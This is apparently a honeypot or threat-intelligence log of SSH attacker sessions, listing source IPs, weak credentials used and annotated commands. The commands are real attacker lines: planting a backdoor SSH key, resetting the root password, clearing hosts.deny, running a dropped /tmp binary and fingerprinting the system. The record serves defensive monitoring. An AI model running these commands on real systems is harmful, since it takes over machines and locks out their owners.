"ARCH:$arch"; echo "UPTIME:$uptime"; echo "CPUS:$cpus"; echo "CPU_MODEL:$cpu_model"; echo "GPU:$gpu_info"; echo "LAST:$last_output"; echo "FILTER:$filter_output" ร—13
๐ŸŽญ gnarled_liberty_root_39 (43.110.40.39) โ€” Minkler, United States ยท 1 session ยท 1 cmd
2026-08-22 08:46 EDT ยท as root/password
Ran uname 1x across 1 sessions โ€” automated OS fingerprinting.
$ uname -s -m
๐ŸŽญ glitchy_spice_root (119.18.52.5) โ€” Nashik, India ยท 1 session ยท 19 cmds
2026-08-22 07:11 EDT ยท as root/admin123
cd ~; chattr -ia .ssh โ†’ rm -rf .ssh โ†’ mkdir .ssh โ†’ echo "ssh-rsa..." โ†’ cat /proc/cpuinfo | grep name | wc -l โ†’ echo "root:OIGFiK4jCVoP"|chpasswd|bash โ†’ rm -rf /tmp/secure.sh โ†’ pkill -9 secure.sh โ†’ echo > /etc/
$ cd ~; chattr -ia .ssh; lockr -ia .ssh
โ†ณ file attribute tampering
$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~
โ†ณ SSH key persistence
$ cat /proc/cpuinfo | grep name | wc -l
โ†ณ CPU profiling
$ echo "root:OIGFiK4jCVoP"|chpasswd|bash
$ rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;
โ†ณ execute from /tmp
$ cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'
โ†ณ CPU profiling
$ free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'
$ ls -lh $(which ls)
$ which ls
$ crontab -l
โ†ณ persistence setup
$ w
โ†ณ logged-in users check
$ uname -m
$ cat /proc/cpuinfo | grep model | grep name | wc -l
โ†ณ CPU profiling
$ top
โ†ณ process monitoring
$ uname
โ†ณ OS identification
$ uname -a
โ†ณ OS/kernel identification
$ whoami
โ†ณ privilege check
$ lscpu | grep Model
$ df -h | head -n 2 | awk 'FNR == 2 {print $2;}'
๐ŸŽญ arctic_yankee_root (76.79.213.70) โ€” Los Angeles, United States ยท 2 sessions ยท 4 cmds
2026-08-22 04:37 EDT ยท as oracle/123.com, oracle/oracle123!
file attribute tampering โ†’ SSH key persistence
$ cd ~; chattr -ia .ssh; lockr -ia .ssh ร—2
โ†ณ file attribute tampering
$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~ ร—2
โ†ณ SSH key persistence
๐ŸŽญ unhinged_eagle_root (92.118.39.77) โ€” Dallas, United States ยท 132 sessions ยท 1108 cmds
2026-06-25 05:10 EDT ยท as admin/123456, admin/admin, admin/admin123
PATH export โ†’ uname -s -v -n -m OS fingerprinting โ†’ /proc/version and /etc/os-release checks โ†’ uptime extraction โ†’ system profiling for resource availability
$ export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH; uname=$(uname -s -v -n -m 2>/dev/null || /bin/uname -s -v -n -m 2>/dev/null || /usr/bin/uname -s -v -n -m 2>/dev/null || busybox uname -s -v -n -m 2>/dev/null || ( [ -f /proc/version ] && head -1 /proc/version | cut -d' ' -f1 ) || ( [ -f /etc/os-release ] && grep '^ID=' /etc/os-release | cut -d= -f2 | tr -d '"' ) || echo ""); arch=$(uname -m 2>/dev/null || /bin/uname -m 2>/dev/null || /usr/bin/uname -m 2>/dev/null || busybox uname -m 2>/dev/null || ( [ -f /proc/cpuinfo ] && grep -q "lm" /proc/cpuinfo && echo x86_64 ) || ( [ -f /proc/cpuinfo ] && grep -q "CPU architecture: 8" /proc/cpuinfo && echo aarch64 ) || ( [ -f /proc/cpuinfo ] && grep -q "CPU architecture: 7" /proc/cpuinfo && echo armv7l ) || echo ""); uptime=$(cat /proc/uptime 2>/dev/null || busybox cat /proc/uptime 2>/dev/null); cpus=$(nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || busybox nproc 2>/dev/null || grep -c "^processor" /proc/cpuinfo 2>/dev/null); cpu_model=$( { lscpu 2>/dev/null | awk -F: '/Model name/ {print $2}'; grep -m1 -E "^model name" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; grep -m1 -E "^Hardware" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; cat /proc/device-tree/model 2>/dev/null; } | sed '/^$/d; /unknown/d; s/^[[:space:]]*//; s/[[:space:]]*$//; s/ AArch64 Processor$//; s/ Processor$//; s/ CPU$//' | head -1 ); gpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia; busybox lspci 2>/dev/null | grep -i vga; busybox lspci 2>/dev/null | grep -i nvidia) 2>/dev/null ); last_output=$(last 2>/dev/null); filter_output=$( ( export LANG=C LC_ALL=C; echo '===SHELL_BEHAVIOR==='; printf 'path_err='; ( ./xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\n' 2>/dev/null || busybox tr -d '\n' 2>/dev/null || cat ); printf '\n'; printf 'cmd_err='; ( xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\n' 2>/dev/null || busybox tr -d '\n' 2>/dev/null || cat ); printf '\n'; printf 'execute_err='; out=$(bash -c 'printf "#!/bin/bash\necho \"xxxxxx\"\n" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case "$out" in *xxxxxx*) ;; *) out=$(/bin/bash -c 'printf "#!/bin/bash\necho \"xxxxxx\"\n" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case "$out" in *xxxxxx*) ;; *) out=$(/usr/bin/bash -c 'printf "#!/bin/bash\necho \"xxxxxx\"\n" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case "$out" in *xxxxxx*) ;; *) out=$(busybox sh -c 'printf "#!/bin/sh\necho \"xxxxxx\"\n" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1 || sh -c 'printf "#!/bin/sh\necho \"xxxxxx\"\n" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); esac; esac; esac; printf '%s' "$out" | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\n' 2>/dev/null || busybox tr -d '\n' 2>/dev/null || cat ); printf '\n'; echo '===DONE===' ) 2>&1 ); echo "UNAME:$uname"; echo "ARCH:$arch"; echo "UPTIME:$uptime"; echo "CPUS:$cpus"; echo "CPU_MODEL:$cpu_model"; echo "GPU:$gpu_info"; echo "LAST:$last_output"; echo "FILTER:$filter_output" ร—112
โ†ณ make executable
$ uname -s -v -n -m 2 > /dev/null ร—132
$ /bin/uname -s -v -n -m 2 > /dev/null ร—116
$ /usr/bin/uname -s -v -n -m 2 > /dev/null ร—116
$ busybox uname -s -v -n -m 2 > /dev/null ร—116
$ ( [ -f /proc/version ] ร—116
$ [ -f /proc/version ] ร—116
$ head -1 /proc/version | cut -d -f1 ร—116
$ [ -f /etc/os-release ] ร—116
$ export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH; uname=$(uname -s -v -n -m 2>/dev/null || /bin/uname -s -v -n -m 2>/dev/null || /usr/bin/uname -s -v -n -m 2>/dev/null || busybox uname -s -v -n -m 2>/dev/null || ( [ -f /proc/version ] && head -1 /proc/version | cut -d' ' -f1 ) || ( [ -f /etc/os-release ] && grep '^ID=' /etc/os-release | cut -d= -f2 | tr -d '"' ) || echo ""); arch=$(uname -m 2>/dev/null || /bin/uname -m 2>/dev/null || /usr/bin/uname -m 2>/dev/null || busybox uname -m 2>/dev/null || ( [ -f /proc/cpuinfo ] && grep -q "lm" /proc/cpuinfo && echo x86_64 ) || ( [ -f /proc/cpuinfo ] && grep -q "CPU architecture: 8" /proc/cpuinfo && echo aarch64 ) || ( [ -f /proc/cpuinfo ] && grep -q "CPU architecture: 7" /proc/cpuinfo && echo armv7l ) || echo ""); uptime=$(cat /proc/uptime 2>/dev/null || busybox cat /proc/uptime 2>/dev/null); cpus=$(nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || busybox nproc 2>/dev/null || grep -c "^processor" /proc/cpuinfo 2>/dev/null); cpu_model=$( { grep -m1 -E "model name|Hardware" /proc/cpuinfo 2>/dev/null; lscpu 2>/dev/null | grep "Model name"; dmidecode -s processor-version 2>/dev/null; uname -p 2>/dev/null; busybox uname -p 2>/dev/null; } ); gpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia; busybox lspci 2>/dev/null | grep -i vga; busybox lspci 2>/dev/null | grep -i nvidia) 2>/dev/null ); last_output=$(last 2>/dev/null); filter_output=$( ( export LANG=C LC_ALL=C; echo '===SHELL_BEHAVIOR==='; printf 'path_err='; ( ./xxxxxx 2>&1 || true ) | head -c 250; printf '\n'; printf 'cmd_err='; ( xxxxxx 2>&1 || true ) | head -c 250; printf '\n'; echo '===DONE===' ) 2>&1 ); echo "UNAME:$uname"; echo "ARCH:$arch"; echo "UPTIME:$uptime"; echo "CPUS:$cpus"; echo "CPU_MODEL:$cpu_model"; echo "GPU:$gpu_info"; echo "LAST:$last_output"; echo "FILTER:$filter_output" ร—2
$ export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH; uname=$(uname -s -v -n -m 2>/dev/null || /bin/uname -s -v -n -m 2>/dev/null || /usr/bin/uname -s -v -n -m 2>/dev/null || busybox uname -s -v -n -m 2>/dev/null || ( [ -f /proc/version ] && head -1 /proc/version | cut -d' ' -f1 ) || ( [ -f /etc/os-release ] && grep '^ID=' /etc/os-release | cut -d= -f2 | tr -d '"' ) || echo ""); arch=$(uname -m 2>/dev/null || /bin/uname -m 2>/dev/null || /usr/bin/uname -m 2>/dev/null || busybox uname -m 2>/dev/null || ( [ -f /proc/cpuinfo ] && grep -q "lm" /proc/cpuinfo && echo x86_64 ) || ( [ -f /proc/cpuinfo ] && grep -q "CPU architecture: 8" /proc/cpuinfo && echo aarch64 ) || ( [ -f /proc/cpuinfo ] && grep -q "CPU architecture: 7" /proc/cpuinfo && echo armv7l ) || echo ""); uptime=$(cat /proc/uptime 2>/dev/null || busybox cat /proc/uptime 2>/dev/null); cpus=$(nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || busybox nproc 2>/dev/null || grep -c "^processor" /proc/cpuinfo 2>/dev/null); cpu_model=$( { grep -m1 -E "model name|Hardware" /proc/cpuinfo 2>/dev/null; lscpu 2>/dev/null | grep "Model name"; dmidecode -s processor-version 2>/dev/null; uname -p 2>/dev/null; busybox uname -p 2>/dev/null; } ); gpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia; busybox lspci 2>/dev/null | grep -i vga; busybox lspci 2>/dev/null | grep -i nvidia) 2>/dev/null ); last_output=$(last 2>/dev/null); echo "UNAME:$uname"; echo "ARCH:$arch"; echo "UPTIME:$uptime"; echo "CPUS:$cpus"; echo "CPU_MODEL:$cpu_model"; echo "GPU:$gpu_info"; echo "LAST:$last_output" ร—2
$ export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH; uname=$(uname -s -v -n -m 2>/dev/null); arch=$(uname -m 2>/dev/null); uptime=$(cat /proc/uptime 2>/dev/null | cut -d. -f1); cpus=$( (nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || grep -c "^processor" /proc/cpuinfo 2>/dev/null) | head -1); cpu_model=$( (grep -m1 -E "model name|Hardware" /proc/cpuinfo | cut -d: -f2- | sed 's/^ *//;s/ *$//' ; lscpu 2>/dev/null | awk -F: '/Model name/ {gsub(/^ +| +$/,"",$2); print $2; exit}' ; dmidecode -s processor-version 2>/dev/null | head -n1 ; uname -p 2>/dev/null) | awk 'NF{print; exit}' ); gpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia) 2>/dev/null | head -n50); cat_help=$( (cat --help 2>&1 | tr '\n' ' ') || cat --help 2>&1); ls_help=$( (ls --help 2>&1 | tr '\n' ' ') || ls --help 2>&1); last_output=$(last 2>/dev/null | head -n 10); echo "UNAME:$uname"; echo "ARCH:$arch"; echo "UPTIME:$uptime"; echo "CPUS:$cpus"; echo "CPU_MODEL:$cpu_model"; echo "GPU:$gpu_info"; echo "CAT_HELP:$cat_help"; echo "LS_HELP:$ls_help"; echo "LAST:$last_output" ร—16
$ uname -m 2 > /dev/null ร—16
$ cat /proc/uptime 2 > /dev/null | cut -d. -f1 ร—16
๐ŸŽญ brazen_tango_pi (192.141.150.2) โ€” Malagueรฑo, Argentina ยท 2 sessions ยท 3 cmds
2026-08-22 04:33 EDT ยท as pi/raspberry
make executable โ†’ execute payload โ†’ execute from /tmp
$ cd /tmp && chmod +x NaoXS7ZC && bash -c ./NaoXS7ZC
โ†ณ make executable
$ ./NaoXS7ZC
โ†ณ execute payload
$ scp -t /tmp/NaoXS7ZC
โ†ณ execute from /tmp
๐ŸŽญ jittery_lantern_root_96 (39.96.40.96) โ€” Beijing, China ยท 1 session ยท 1 cmd
2026-08-22 04:02 EDT ยท as postgres/postgres
Ran uname 1x across 1 sessions โ€” automated OS fingerprinting.
$ uname -a
โ†ณ OS/kernel identification
๐ŸŽญ manic_ghost_sol (195.178.110.218) โ€” Andorra la Vella, Andorra ยท 65 sessions ยท 65 cmds
2026-08-11 04:16 EDT ยท as admin/admin, deploy/deploy, firedancer/firedancer
Ran uname 357x across 357 sessions โ€” automated OS fingerprinting.
$ /bin/./uname -s -v -n -r -m ร—65
โ†ณ obfuscated system check
๐ŸŽญ lurking_rogue_root (195.178.110.217) โ€” Andorra la Vella, Andorra ยท 119 sessions ยท 1041 cmds
2026-06-24 20:25 EDT ยท as admin/123456, admin/admin, admin/admin123
Credential validation (root/1234) โ†’ PATH manipulation โ†’ OS fingerprinting via uname -s -v -n -m โ†’ kernel version extraction from /proc/version โ†’ Linux distribution detection via /etc/os-release โ†’ uptime collection from /proc/uptime.
$ export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH; uname=$(uname -s -v -n -m 2>/dev/null || /bin/uname -s -v -n -m 2>/dev/null || /usr/bin/uname -s -v -n -m 2>/dev/null || busybox uname -s -v -n -m 2>/dev/null || ( [ -f /proc/version ] && head -1 /proc/version | cut -d' ' -f1 ) || ( [ -f /etc/os-release ] && grep '^ID=' /etc/os-release | cut -d= -f2 | tr -d '"' ) || echo ""); arch=$(uname -m 2>/dev/null || /bin/uname -m 2>/dev/null || /usr/bin/uname -m 2>/dev/null || busybox uname -m 2>/dev/null || ( [ -f /proc/cpuinfo ] && grep -q "lm" /proc/cpuinfo && echo x86_64 ) || ( [ -f /proc/cpuinfo ] && grep -q "CPU architecture: 8" /proc/cpuinfo && echo aarch64 ) || ( [ -f /proc/cpuinfo ] && grep -q "CPU architecture: 7" /proc/cpuinfo && echo armv7l ) || echo ""); uptime=$(cat /proc/uptime 2>/dev/null || busybox cat /proc/uptime 2>/dev/null); cpus=$(nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || busybox nproc 2>/dev/null || grep -c "^processor" /proc/cpuinfo 2>/dev/null); cpu_model=$( { lscpu 2>/dev/null | awk -F: '/Model name/ {print $2}'; grep -m1 -E "^model name" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; grep -m1 -E "^Hardware" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; cat /proc/device-tree/model 2>/dev/null; } | sed '/^$/d; /unknown/d; s/^[[:space:]]*//; s/[[:space:]]*$//; s/ AArch64 Processor$//; s/ Processor$//; s/ CPU$//' | head -1 ); gpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia; busybox lspci 2>/dev/null | grep -i vga; busybox lspci 2>/dev/null | grep -i nvidia) 2>/dev/null ); last_output=$(last 2>/dev/null); filter_output=$( ( export LANG=C LC_ALL=C; echo '===SHELL_BEHAVIOR==='; printf 'path_err='; ( ./xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\n' 2>/dev/null || busybox tr -d '\n' 2>/dev/null || cat ); printf '\n'; printf 'cmd_err='; ( xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\n' 2>/dev/null || busybox tr -d '\n' 2>/dev/null || cat ); printf '\n'; printf 'execute_err='; out=$(bash -c 'printf "#!/bin/bash\necho \"xxxxxx\"\n" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case "$out" in *xxxxxx*) ;; *) out=$(/bin/bash -c 'printf "#!/bin/bash\necho \"xxxxxx\"\n" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case "$out" in *xxxxxx*) ;; *) out=$(/usr/bin/bash -c 'printf "#!/bin/bash\necho \"xxxxxx\"\n" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case "$out" in *xxxxxx*) ;; *) out=$(busybox sh -c 'printf "#!/bin/sh\necho \"xxxxxx\"\n" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1 || sh -c 'printf "#!/bin/sh\necho \"xxxxxx\"\n" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); esac; esac; esac; printf '%s' "$out" | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\n' 2>/dev/null || busybox tr -d '\n' 2>/dev/null || cat ); printf '\n'; echo '===DONE===' ) 2>&1 ); echo "UNAME:$uname"; echo "ARCH:$arch"; echo "UPTIME:$uptime"; echo "CPUS:$cpus"; echo "CPU_MODEL:$cpu_model"; echo "GPU:$gpu_info"; echo "LAST:$last_output"; echo "FILTER:$filter_output" ร—107
โ†ณ make executable
$ uname -s -v -n -m 2 > /dev/null ร—119
$ /bin/uname -s -v -n -m 2 > /dev/null ร—113
$ /usr/bin/uname -s -v -n -m 2 > /dev/null ร—113
$ busybox uname -s -v -n -m 2 > /dev/null ร—113
$ ( [ -f /proc/version ] ร—113
$ [ -f /proc/version ] ร—113
$ head -1 /proc/version | cut -d -f1 ร—113
$ [ -f /etc/os-release ] ร—113
$ export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH; uname=$(uname -s -v -n -m 2>/dev/null || /bin/uname -s -v -n -m 2>/dev/null || /usr/bin/uname -s -v -n -m 2>/dev/null || busybox uname -s -v -n -m 2>/dev/null || ( [ -f /proc/version ] && head -1 /proc/version | cut -d' ' -f1 ) || ( [ -f /etc/os-release ] && grep '^ID=' /etc/os-release | cut -d= -f2 | tr -d '"' ) || echo ""); arch=$(uname -m 2>/dev/null || /bin/uname -m 2>/dev/null || /usr/bin/uname -m 2>/dev/null || busybox uname -m 2>/dev/null || ( [ -f /proc/cpuinfo ] && grep -q "lm" /proc/cpuinfo && echo x86_64 ) || ( [ -f /proc/cpuinfo ] && grep -q "CPU architecture: 8" /proc/cpuinfo && echo aarch64 ) || ( [ -f /proc/cpuinfo ] && grep -q "CPU architecture: 7" /proc/cpuinfo && echo armv7l ) || echo ""); uptime=$(cat /proc/uptime 2>/dev/null || busybox cat /proc/uptime 2>/dev/null); cpus=$(nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || busybox nproc 2>/dev/null || grep -c "^processor" /proc/cpuinfo 2>/dev/null); cpu_model=$( { lscpu 2>/dev/null | awk -F: '/Model name/ {print $2}'; grep -m1 -E "^model name" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; grep -m1 -E "^Hardware" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; cat /proc/device-tree/model 2>/dev/null; } | sed '/^$/d; /unknown/d; s/^[[:space:]]*//; s/[[:space:]]*$//; s/ AArch64 Processor$//; s/ Processor$//; s/ CPU$//' | head -1 ); gpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia; busybox lspci 2>/dev/null | grep -i vga; busybox lspci 2>/dev/null | grep -i nvidia) 2>/dev/null ); last_output=$(last 2>/dev/null); filter_output=$( ( export LANG=C LC_ALL=C; echo '===SHELL_BEHAVIOR==='; printf 'path_err='; ( ./xxxxxx 2>&1 || true ) | head -c 250; printf '\n'; printf 'cmd_err='; ( xxxxxx 2>&1 || true ) | head -c 250; printf '\n'; echo '===DONE===' ) 2>&1 ); echo "UNAME:$uname"; echo "ARCH:$arch"; echo "UPTIME:$uptime"; echo "CPUS:$cpus"; echo "CPU_MODEL:$cpu_model"; echo "GPU:$gpu_info"; echo "LAST:$last_output"; echo "FILTER:$filter_output" ร—3
$ export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH; uname=$(uname -s -v -n -m 2>/dev/null || /bin/uname -s -v -n -m 2>/dev/null || /usr/bin/uname -s -v -n -m 2>/dev/null || busybox uname -s -v -n -m 2>/dev/null || ( [ -f /proc/version ] && head -1 /proc/version | cut -d' ' -f1 ) || ( [ -f /etc/os-release ] && grep '^ID=' /etc/os-release | cut -d= -f2 | tr -d '"' ) || echo ""); arch=$(uname -m 2>/dev/null || /bin/uname -m 2>/dev/null || /usr/bin/uname -m 2>/dev/null || busybox uname -m 2>/dev/null || ( [ -f /proc/cpuinfo ] && grep -q "lm" /proc/cpuinfo && echo x86_64 ) || ( [ -f /proc/cpuinfo ] && grep -q "CPU architecture: 8" /proc/cpuinfo && echo aarch64 ) || ( [ -f /proc/cpuinfo ] && grep -q "CPU architecture: 7" /proc/cpuinfo && echo armv7l ) || echo ""); uptime=$(cat /proc/uptime 2>/dev/null || busybox cat /proc/uptime 2>/dev/null); cpus=$(nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || busybox nproc 2>/dev/null || grep -c "^processor" /proc/cpuinfo 2>/dev/null); cpu_model=$( { grep -m1 -E "model name|Hardware" /proc/cpuinfo 2>/dev/null; lscpu 2>/dev/null | grep "Model name"; dmidecode -s processor-version 2>/dev/null; uname -p 2>/dev/null; busybox uname -p 2>/dev/null; } ); gpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia; busybox lspci 2>/dev/null | grep -i vga; busybox lspci 2>/dev/null | grep -i nvidia) 2>/dev/null ); last_output=$(last 2>/dev/null); filter_output=$( ( export LANG=C LC_ALL=C; echo '===SHELL_BEHAVIOR==='; printf 'path_err='; ( ./xxxxxx 2>&1 || true ) | head -c 250; printf '\n'; printf 'cmd_err='; ( xxxxxx 2>&1 || true ) | head -c 250; printf '\n'; echo '===DONE===' ) 2>&1 ); echo "UNAME:$uname"; echo "ARCH:$arch"; echo "UPTIME:$uptime"; echo "CPUS:$cpus"; echo "CPU_MODEL:$cpu_model"; echo "GPU:$gpu_info"; echo "LAST:$last_output"; echo "FILTER:$filter_output" ร—3
$ export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH; uname=$(uname -s -v -n -m 2>/dev/null); arch=$(uname -m 2>/dev/null); uptime=$(cat /proc/uptime 2>/dev/null | cut -d. -f1); cpus=$( (nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || grep -c "^processor" /proc/cpuinfo 2>/dev/null) | head -1); cpu_model=$( (grep -m1 -E "model name|Hardware" /proc/cpuinfo | cut -d: -f2- | sed 's/^ *//;s/ *$//' ; lscpu 2>/dev/null | awk -F: '/Model name/ {gsub(/^ +| +$/,"",$2); print $2; exit}' ; dmidecode -s processor-version 2>/dev/null | head -n1 ; uname -p 2>/dev/null) | awk 'NF{print; exit}' ); gpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia) 2>/dev/null | head -n50); cat_help=$( (cat --help 2>&1 | tr '\n' ' ') || cat --help 2>&1); ls_help=$( (ls --help 2>&1 | tr '\n' ' ') || ls --help 2>&1); last_output=$(last 2>/dev/null | head -n 10); echo "UNAME:$uname"; echo "ARCH:$arch"; echo "UPTIME:$uptime"; echo "CPUS:$cpus"; echo "CPU_MODEL:$cpu_model"; echo "GPU:$gpu_info"; echo "CAT_HELP:$cat_help"; echo "LS_HELP:$ls_help"; echo "LAST:$last_output" ร—6
$ uname -m 2 > /dev/null ร—6
$ cat /proc/uptime 2 > /dev/null | cut -d. -f1 ร—6
๐ŸŽญ grumpy_liberty_root_213 (20.118.221.213) โ€” Des Moines, United States ยท 1 session ยท 3 cmds
2026-08-21 19:36 EDT ยท as root/root
hostname discovery โ†’ free โ†’ cat
$ hostname
โ†ณ hostname discovery
$ free -m | awk '/Mem:/ {print $2}'
$ cat /etc/os-release 2>/dev/null | grep PRETTY_NAME | cut -d= -f2 | tr -d '"'
๐ŸŽญ placid_lotus_root (125.212.217.143) โ€” Hanoi, Vietnam ยท 134 sessions ยท 134 cmds
2026-06-24 06:23 EDT ยท as admin/123456, admin/admin, admin/password
echo (repeated echo 3x)
$ echo "root:sinko@" | chpasswd ร—134
๐ŸŽญ baroque_roo_sol (40.82.214.8) โ€” The Rocks, Australia ยท 2 sessions ยท 22 cmds
2026-06-25 22:53 EDT ยท as miner/miner, oracle/123.com
file attribute tampering โ†’ SSH key persistence โ†’ CPU profiling
$ cd ~; chattr -ia .ssh; lockr -ia .ssh ร—2
โ†ณ file attribute tampering
$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~ ร—2
โ†ณ SSH key persistence
$ cat /proc/cpuinfo | grep name | wc -l
โ†ณ CPU profiling
$ echo -e "miner\nZcaSm3rsCPo3\nZcaSm3rsCPo3"|passwd|bash
$ Enter new UNIX password:
$ echo "miner\nZcaSm3rsCPo3\nZcaSm3rsCPo3\n"|passwd
$ cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'
โ†ณ CPU profiling
$ free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'
$ ls -lh $(which ls)
$ which ls
$ crontab -l
โ†ณ persistence setup
$ w
โ†ณ logged-in users check
$ uname -m
$ cat /proc/cpuinfo | grep model | grep name | wc -l
โ†ณ CPU profiling
$ top
โ†ณ process monitoring
$ uname
โ†ณ OS identification
$ uname -a
โ†ณ OS/kernel identification
$ whoami
โ†ณ privilege check
$ lscpu | grep Model
$ df -h | head -n 2 | awk 'FNR == 2 {print $2;}'
๐ŸŽญ derelict_jollof_root (102.88.137.213) โ€” Lagos, Nigeria ยท 2 sessions ยท 22 cmds
2026-07-02 04:13 EDT ยท as oracle/oracle123#, validator/validator
file attribute tampering โ†’ SSH key persistence โ†’ CPU profiling
$ cd ~; chattr -ia .ssh; lockr -ia .ssh ร—2
โ†ณ file attribute tampering
